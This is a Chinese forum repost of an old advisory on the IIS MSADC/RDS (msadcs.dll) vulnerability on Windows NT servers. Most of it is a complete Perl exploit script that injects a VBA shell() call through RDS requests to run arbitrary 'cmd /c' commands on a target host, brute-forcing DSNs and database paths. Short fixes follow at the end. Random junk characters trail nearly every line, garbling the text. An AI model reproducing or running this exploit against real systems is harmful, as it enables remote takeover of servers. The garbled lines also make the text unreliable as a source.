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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) bl;v^HR0)  
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涉及程序: 2)>Ty4*  
Microsoft NT server LY(h>`  
AmT*{Fz8  
描述: tqK}KL  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 2&U<Wiu\}  
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详细: }ilX 2s?>  
如果你没有时间读详细内容的话,就删除: ~uu~NTz  
c:\Program Files\Common Files\System\Msadc\msadcs.dll WWWfQ_u2  
有关的安全问题就没有了。 F84?Mi{r2  
69/qH_Y  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 $6\W8v  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 n!y}p q6  
关于利用ODBC远程漏洞的描述,请参看: .;~K*GC  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >.#tNFAs  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 *g/@-6  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2E}^'o  
=;HmU.Uek%  
这里不再论述。 @5(HRd  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 60Obek`  
YiPp#0T[Gx  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset J*O$)K%Hx  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ' k[gxk|d2  
G6x2!Ny  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" F`YxH*tO7  
Z'z~40Bda  
#!perl &:)e   
# x+5y287#  
# MSADC/RDS 'usage' (aka exploit) script )d-{#  
# _a=f.I  
# by rain.forest.puppy \78kShx  
# T?E[LzZg  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me y7# 4Mcc`~  
# beta test and find errors! dbLxm!;(  
I Ux svW+  
use Socket; use Getopt::Std; b(H) 8#C  
getopts("e:vd:h:XR", \%args); q! U'DDEP  
7?JcB?G4  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; }D eW2Jp  
j>OB<4?.+  
if (!defined $args{h} && !defined $args{R}) { /I&b5Vp  
print qq~ =Z(#j5TGvH  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ;]^JUmxU[d  
-h <host> = host you want to scan (ip or domain) ^@..\X9  
-d <seconds> = delay between calls, default 1 second +bK.{1  
-X = dump Index Server path table, if available lb('=]3 }H  
-v = verbose i<Be)Y-'  
-e = external dictionary file for step 5 T"m(V/L$W  
F I\V6\B/  
Or a -R will resume a command session VG`A* Vj  
#FV(a~  
~; exit;} o<-+y\J8K  
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$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ?V&[U  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} d\ Z#XzI8  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} &Wup 7  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ZVek`Cc2  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} dO[w3\~  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } lC i_G3C  
oFRb+H(E  
if (!defined $args{R}){ $ret = &has_msadc; +iPS=?S  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ~ Qt$)  
=`]yq;(C7j  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" cAc i2e  
. "cmd /c "; ~L'}!' &.  
$in=<STDIN>; chomp $in; v+*l|!v  
$command="cmd /c " . $in ; }`9}Q O  
r8~U@$BBK  
if (defined $args{R}) {&load; exit;} 2O5yS  
PF(P"f.?D  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; f 6P5J|'  
&try_btcustmr; g3%t+>$*  
^MWfFpJV!]  
print "\nStep 2: Trying to make our own DSN..."; }f6x>  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 1v&!`^G99j  
k|7XC@i]%  
print "\nStep 3: Trying known DSNs..."; 'm=9&?0S  
&known_dsn; r8 M/E lbk  
$*H>n!&  
print "\nStep 4: Trying known .mdbs..."; LHWh-h(s  
&known_mdb; A4?_ 0:<  
&~Q ?k  
if (defined $args{e}){ >:`Y]6z  
print "\nStep 5: Trying dictionary of DSN names..."; Q=9S?p M  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } .0q %A1H  
[J+K4o8L<A  
print "Sorry Charley...maybe next time?\n"; "t"=9:_t  
exit; L$x/T3@  
`#X{.  
############################################################################## ";e0-t6:  
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sub sendraw { # ripped and modded from whisker c"J(? 1O  
sleep($delay); # it's a DoS on the server! At least on mine... %;PPu$8K9  
my ($pstr)=@_; W3K"5E0ck  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || YAZ=-@]`\  
die("Socket problems\n"); bct&ge7YX  
if(connect(S,pack "SnA4x8",2,80,$target)){ [M2,bc8SJV  
select(S); $|=1; p$@=N6)I.k  
print $pstr; my @in=<S>; GKPqBi[rO  
select(STDOUT); close(S); _wf"E(c3D  
return @in; 9bXU!l[  
} else { die("Can't connect...\n"); }} }~-)31e'`  
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############################################################################## -zz9k=q  
h3xX26l  
sub make_header { # make the HTTP request 4#=!VK8ZH  
my $msadc=<<EOT Xb3vvHdI  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 eeb 8v:4  
User-Agent: ACTIVEDATA # dxlU/*  
Host: $ip g m],  
Content-Length: $clen $zz=>BOk  
Connection: Keep-Alive .?S#DS )  
sa+:c{  
ADCClientVersion:01.06 rsP-?oD8)  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 2#1FI0,Pa*  
$X~=M_ W  
--!ADM!ROX!YOUR!WORLD! =W !m`  
Content-Type: application/x-varg +.\JYH=yEr  
Content-Length: $reqlen ^ I,1kl~i  
rf1nC$Sop  
EOT ;Xgy2'3  
; $msadc=~s/\n/\r\n/g; g)&-S3\  
return $msadc;} uD:O[H-x  
INzQ0z-z  
############################################################################## !1"~tA!+p=  
`U`Z9q5-  
sub make_req { # make the RDS request 9LJ/m\bi  
my ($switch, $p1, $p2)=@_; nhXa&Nro  
my $req=""; my $t1, $t2, $query, $dsn; rmQGzQnun  
/yrR f;}<O  
if ($switch==1){ # this is the btcustmr.mdb query &[\rnJ?D  
$query="Select * from Customers where City=" . make_shell(); ZVIBmx  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . iJrscy-  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} OR"ni  
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elsif ($switch==2){ # this is general make table query #0Oqw=F  
$query="create table AZZ (B int, C varchar(10))";  V|?  
$dsn="$p1";} F<-Pbtw  
n7<<}wcV  
elsif ($switch==3){ # this is general exploit table query "TjR]jnV(  
$query="select * from AZZ where C=" . make_shell(); /'VCJjzZ  
$dsn="$p1";} ocgbBE  
YBS]JCO  
elsif ($switch==4){ # attempt to hork file info from index server x5`q)!<&  
$query="select path from scope()"; JG}U,{7(  
$dsn="Provider=MSIDXS;";} xI:;%5{LN  
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elsif ($switch==5){ # bad query "l +Jx|h\  
$query="select"; @1Zf&'/6  
$dsn="$p1";} 'T|.<u@~  
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$t1= make_unicode($query); l]v *h0!  
$t2= make_unicode($dsn); sCRBKCR?  
$req = "\x02\x00\x03\x00"; <U,T*Ql1x  
$req.= "\x08\x00" . pack ("S1", length($t1)); s^KxAw_IV  
$req.= "\x00\x00" . $t1 ; |+`hSA  
$req.= "\x08\x00" . pack ("S1", length($t2)); W+K=M*^D;c  
$req.= "\x00\x00" . $t2 ; &*)tqQeQf  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; BTd'bD~EA  
return $req;} LK:|~UV?  
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############################################################################## Vj?.'(  
Qn*c<:  
sub make_shell { # this makes the shell() statement @MB;Ez v  
return "'|shell(\"$command\")|'";} U5Ho? `<  
!^"hYp`  
############################################################################## ]B,S<*h  
b0t];Gc%b  
sub make_unicode { # quick little function to convert to unicode H8-,gV  
my ($in)=@_; my $out; %] #; ~I%  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Yaa M-o  
return $out;} q75F^AvH  
09%eaoW  
############################################################################## i*U\~CZjT  
VJR'B={h  
sub rdo_success { # checks for RDO return success (this is kludge) s9E:6  
my (@in) = @_; my $base=content_start(@in); WVN Q}KY  
if($in[$base]=~/multipart\/mixed/){ }=GyBnXu  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} iPFYG  
return 0;} jZ{S{"j  
|[{;*wtv  
############################################################################## GO?-z0V  
~l}TlRqL  
sub make_dsn { # this makes a DSN for us ^c(PZ,/#JB  
my @drives=("c","d","e","f"); G0(c@FBK  
print "\nMaking DSN: "; ka>RAr J  
foreach $drive (@drives) { KT g$^"\  
print "$drive: "; /p%K[)T(  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ~hxB Pn."  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" I8Zp#'|U  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); "BVz5?  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; n~)Y%xe[U  
return 0 if $2 eq "404"; # not found/doesn't exist =V,'f  
if($2 eq "200") { @`_j't,  
foreach $line (@results) { %~W}262  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} >6kWmXK[  
} return 0;} 3x=F  
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############################################################################## 3tm z2JIb  
;Q"F@v}18  
sub verify_exists { Czci6 Lz  
my ($page)=@_; Sm Ei _u]'  
my @results=sendraw("GET $page HTTP/1.0\n\n"); H_AV3 ;  
return $results[0];} VG8rd'Z  
O\D({>  
############################################################################## no/]Me!j=  
\iL,l87  
sub try_btcustmr { ~F(+uJbO  
my @drives=("c","d","e","f"); ]Z84w!z  
my @dirs=("winnt","winnt35","winnt351","win","windows"); PCLSY8N  
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foreach $dir (@dirs) { $>h#|?*?  
print "$dir -> "; # fun status so you can see progress %&] }P;&  
foreach $drive (@drives) { R_ 1C+  
print "$drive: "; # ditto & 9]KkY=  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; t~a$|( 9  
$reqlenlen=length( "$reqlen" ); .y0]( h  
$clen= 206 + $reqlenlen + $reqlen; n5JB'F)  
-E500F*b  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ,m"ztu-  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} c df ll+  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} xBZ9|2Y s  
kCC9U_dj,  
############################################################################## c0qv11,:t  
kCwTv:)  
sub odbc_error { a:| 4q  
my (@in)=@_; my $base; aEk*-v#{  
my $base = content_start(@in); 7 IHD?pnZ  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 6m.Ku13;  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Zn/9BO5  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; t!T}Pg(Bo  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Qr<%rU^{.  
return $in[$base+4].$in[$base+5].$in[$base+6];} I| j tpv}  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; R^2Uh$kk{A  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . (O-)uC  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ~c="<xBE  
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############################################################################## .3U[@*b(  
`HS4(2+C  
sub verbose { %'t~e?d!  
my ($in)=@_; uv-W/p  
return if !$verbose; :HE]P)wz-  
print STDOUT "\n$in\n";} `;_tt_  
t@u\ 4bv  
############################################################################## cV{ZD q  
y{{EC#  
sub save { n>E*g|a  
my ($p1, $p2, $p3, $p4)=@_; eb/V}%  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; fD~!t 8J  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 38m%ifh)  
close OUT;} 0`P]fL+&  
7XDV=PQ[  
############################################################################## ];I|_fXo%  
1SFKP$^  
sub load { Ij #a  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 1:Yt2]  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); !1RV[b.8  
@p=<IN>; close(IN); N#u8{\|8]  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); l'W+^  
$target= inet_aton($ip) || die("inet_aton problems"); lz)"zV  
print "Resuming to $ip ...";  [;=WnG  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Y1 P[^ws  
if($p[1]==1) { |g7h#F~  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; E~>6*_?  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; reA8=>b/  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); FqTkUWd,#  
if (rdo_success(@results)){print "Success!\n";} Wv0'?NL.  
else { print "failed\n"; verbose(odbc_error(@results));}} SznE:+  
elsif ($p[1]==3){ |wJZU  
if(run_query("$p[3]")){ YF -w=Y6  
print "Success!\n";} else { print "failed\n"; }} <nvWC/LU  
elsif ($p[1]==4){ ?fmt@@]T?  
if(run_query($drvst . "$p[3]")){ z/YMl3$l~  
print "Success!\n"; } else { print "failed\n"; }} >jX UO  
exit;} Hk]BC  
tqQ0lv^J  
############################################################################## <c ovApx  
~}5Ml_J$,l  
sub create_table { h6h1.lZ  
my ($in)=@_; u3wC}Zo  
$reqlen=length( make_req(2,$in,"") ) - 28; ;-?ZI$  
$reqlenlen=length( "$reqlen" ); r}\h\ {  
$clen= 206 + $reqlenlen + $reqlen; Is@a,k  
my @results=sendraw(make_header() . make_req(2,$in,"")); IMGqJc,7  
return 1 if rdo_success(@results); ~B&*7Q7  
my $temp= odbc_error(@results); verbose($temp); d# 3tQ*G/  
return 1 if $temp=~/Table 'AZZ' already exists/; m I zBK]@^  
return 0;} ]|N4 #4  
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############################################################################## #eC;3Kq#-  
'Y[A'.*}4  
sub known_dsn { p? ?/r  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go B/=q_.1F>  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", x~;EH6$5'/  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", tHtV[We.:  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); /Tj"Fl\h  
<M,H9^&#l3  
foreach $dSn (@dsns) { r.W,-%=bL  
print "."; rh`.$/^  
next if (!is_access("DSN=$dSn")); Tj=dL  
if(create_table("DSN=$dSn")){ c,q"}nE8w  
print "$dSn successful\n"; 4$aO;Z_  
if(run_query("DSN=$dSn")){ JYd7@Msfc  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 8},<e>q  
print "Something's borked. Use verbose next time\n";}}} print "\n";} s$Zq/l$1x  
.NkAD-k`  
############################################################################## cH;TnuX  
y5/6nvH_6  
sub is_access { qijcS2E6S  
my ($in)=@_; (kC} ,}  
$reqlen=length( make_req(5,$in,"") ) - 28; @%<?GNSO  
$reqlenlen=length( "$reqlen" ); yvz?4m"_yB  
$clen= 206 + $reqlenlen + $reqlen; nnE_OK!}T  
my @results=sendraw(make_header() . make_req(5,$in,"")); FxfL+}?Q  
my $temp= odbc_error(@results); (.1 rtj  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 5}eQaW48  
return 0;} cVay=5].  
-@L's{J{M  
############################################################################## ?Hi}nsw  
u:k:C  
sub run_query { ^%8qKC`Tt  
my ($in)=@_; =x^l[>sz  
$reqlen=length( make_req(3,$in,"") ) - 28; VkpHzr[k  
$reqlenlen=length( "$reqlen" ); b(RB G  
$clen= 206 + $reqlenlen + $reqlen; Mi}I0yhVm  
my @results=sendraw(make_header() . make_req(3,$in,"")); 5_)@B]~nM  
return 1 if rdo_success(@results); h.V]fS  
my $temp= odbc_error(@results); verbose($temp); YN@6}B#1  
return 0;} :Sc8PLT  
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############################################################################## :,kU#eZ$-  
9&%#nN4`8  
sub known_mdb { [8@kxCq  
my @drives=("c","d","e","f","g"); \E@s_fQ]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); >{m2E8U0  
my $dir, $drive, $mdb; h}|6VJ@.  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; |qlS6Aln  
x=5P+_  
# this is sparse, because I don't know of many e8WEz 4r_  
my @sysmdbs=( "\\catroot\\icatalog.mdb", L}W1*L$;<  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", qWO]s=V!  
"\\system32\\certmdb.mdb", HK0::6n{  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 's[BK/  
W7L+8LU;  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", mP pvZ  
"\\cfusion\\cfapps\\forums\\forums_.mdb", @H\pipT_b  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", :)p)=c8%  
"\\cfusion\\cfapps\\security\\realm_.mdb", -|}%~0)/bH  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", K 3Yw8t2J  
"\\cfusion\\database\\cfexamples.mdb", yW\XNX  
"\\cfusion\\database\\cfsnippets.mdb", URK!W?3c  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", rLJ[FqS  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 'j,oIqx  
"\\cfusion\\brighttiger\\database\\cleam.mdb", +2DE/wE]e+  
"\\cfusion\\database\\smpolicy.mdb", SY,I >-%  
"\\cfusion\\database\cypress.mdb", yI8m%g%  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", `l/:NF  
"\\website\\cgi-win\\dbsample.mdb", xQJIM.  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", VLsh=v   
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" XDk'2ycv  
); #these are just H&X:!xa5  
foreach $drive (@drives) { A Jyq>0p  
foreach $dir (@dirs){ F>dwLbnb  
foreach $mdb (@sysmdbs) { :N@U[Wx0A  
print "."; %bP~wl~  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ~BZXt7DE  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; gYatsFyL  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ZXsYn  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; yo'9x s  
} else { print "Something's borked. Use verbose next time\n"; }}}}} X>8-` p  
M$Fth*q{GD  
foreach $drive (@drives) { MO[kr2T  
foreach $mdb (@mdbs) { $!G`D=  
print "."; ] @X{dc  
if(create_table($drv . $drive . $dir . $mdb)){ 47IY|Jdz  
print "\n" . $drive . $dir . $mdb . " successful\n"; r6`\d k  
if(run_query($drv . $drive . $dir . $mdb)){ m0A#6=<  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; upypxC  
} else { print "Something's borked. Use verbose next time\n"; }}}} l'U1 01M>F  
} AnNP Ti  
Y4#y34 We  
############################################################################## &<au/^F  
_(C^[:s  
sub hork_idx { -(*nSD9  
print "\nAttempting to dump Index Server tables...\n"; ]cIu|bRO  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; &Y1`?1;nw  
$reqlen=length( make_req(4,"","") ) - 28; uBmxh%]C~  
$reqlenlen=length( "$reqlen" ); bV@7mmz:X+  
$clen= 206 + $reqlenlen + $reqlen; a3q\<"|  
my @results=sendraw2(make_header() . make_req(4,"","")); (ZV;$N-t  
if (rdo_success(@results)){ {j?7d; 'j  
my $max=@results; my $c; my %d; %>Bko,ET  
for($c=19; $c<$max; $c++){ AD]e0_E  
$results[$c]=~s/\x00//g; =3*Jj`AV  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; |rMq;Rgu?  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; n)#Lh 7X"  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; @\)fzubu  
$d{"$1$2"}="";} 9e~WK720=  
foreach $c (keys %d){ print "$c\n"; } Z_FNIM0f  
} else {print "Index server doesn't seem to be installed.\n"; }}  c/ _yMN  
-vV'Lw(  
############################################################################## 3DW3LYo{  
2F1ZAl  
sub dsn_dict { *g1L$FBG  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); dK.R[ aQ  
while(<IN>){ 6xarYh(  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; iJ)0Y~  
next if (!is_access("DSN=$dSn")); &<Mt=(qY1  
if(create_table("DSN=$dSn")){ >uTPjR[  
print "$dSn successful\n"; [Tb\woU  
if(run_query("DSN=$dSn")){ H"+wsM^@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { -#aZF2z   
print "Something's borked. Use verbose next time\n";}}} 'M8aW!~  
print "\n"; close(IN);} O)uOUB  
EJLQ&oH[  
############################################################################## vU!8`x)  
:.$"kXm^  
sub sendraw2 { # ripped and modded from whisker ?; [ T  
sleep($delay); # it's a DoS on the server! At least on mine... 5`~mqqR5  
my ($pstr)=@_; ?E<c[*F05  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || QH~Jy*\+PX  
die("Socket problems\n"); G>%AZr{M  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?*H9-2W@  
print "Connected. Getting data"; @9 )}cg  
open(OUT,">raw.out"); my @in; mb\h^cKaq  
select(S); $|=1; print $pstr; ]#zZWg zv  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} e.l!3xY2'  
close(OUT); select(STDOUT); close(S); return @in; 5Z{_m;I.   
} else { die("Can't connect...\n"); }} <Ct_d Cc  
 (#o t^  
############################################################################## !v9lk9SV  
)TU<:V  
sub content_start { # this will take in the server headers h*Je35  
my (@in)=@_; my $c; tPU-1by$  
for ($c=1;$c<500;$c++) { bLbR IY"l  
if($in[$c] =~/^\x0d\x0a/){ 6tn+m54_  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }  sTkkM9  
else { return $c+1; }}} /L&M,OUcr.  
return -1;} # it should never get here actually cy|%sf`  
SfW}"#L>5  
############################################################################## Qz+sT6js-  
jl}$HEI5m}  
sub funky { d(7NO;S8  
my (@in)=@_; my $error=odbc_error(@in); /v#)f-N%zs  
if($error=~/ADO could not find the specified provider/){ #cU^U#;=r  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; AW~"yI<  
exit;} sDC*J \X  
if($error=~/A Handler is required/){ .!RavEg+  
print "\nServer has custom handler filters (they most likely are patched)\n"; `~h4D(n`  
exit;} #`ls)-`7  
if($error=~/specified Handler has denied Access/){ _KN/@(+F  
print "\nServer has custom handler filters (they most likely are patched)\n"; {.CMD9F[  
exit;}} [i7YVwG4  
uWjU OJEe  
##############################################################################  s;Y<BD  
^.go O]  
sub has_msadc { Izo!rC  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); %NajFjBI  
my $base=content_start(@results); nt ,7u(  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); *1^$.Q&  
return 0;} cp6WMHLj   
>72JV; W]  
######################## 30Drrno7Io  
dE5D3ze  
>xg5z  
解决方案: pQWHG#?7  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll #NNewzC<*  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 KE}H&1PjU  
M\D]ml~  
拿出来充数 哈哈
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